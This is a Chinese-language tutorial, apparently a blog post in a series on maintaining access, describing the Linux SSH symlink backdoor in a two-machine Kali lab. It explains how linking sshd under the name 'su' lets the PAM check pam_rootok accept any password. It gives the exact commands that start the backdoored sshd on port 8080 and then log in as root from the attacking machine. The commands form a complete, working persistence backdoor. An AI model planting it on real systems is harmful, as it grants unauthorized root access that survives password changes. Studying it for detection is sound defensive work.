操作系统权限维持（十）之Linux系统-SSH 软连接后门
系列文章
操作系统权限维持（一）之Windows系统-粘贴键后门
操作系统权限维持（二）之Windows系统-克隆账号维持后门
操作系统权限维持（三）之Windows系统-启动项维持后门
操作系统权限维持（四）之Windows系统-计划任务维持后门
操作系统权限维持（五）之Windows系统-系统服务维持后门
操作系统权限维持（六）之Linux系统-定时任务后门
操作系统权限维持（七）之Linux系统-SUID后门
操作系统权限维持（八）之Linux系统-SSHKey后门
操作系统权限维持（九）之Linux系统-添加用户后门
SSH 软连接后门
软连接后门的原理是利用了PAM配置文件的作用，将sshd文件软连接名称设置为su，这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su)，然而 su 在 pam_rootok 只检测 uid 0 即可认证成功，这样就导致了可以使用任意密码登录：
实验环境
| 机器名 | IP | 属性 |
|---|---|---|
| kali | 192.168.52.130 | 攻击机 |
| kali | 192.168.52.132 | 靶机 |
在靶机上执行
ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=8080
在攻击机上执行
ssh root@192.168.52.132 -p 8080
命令执行完后，密码随便输入，就登陆到了靶机的root用户
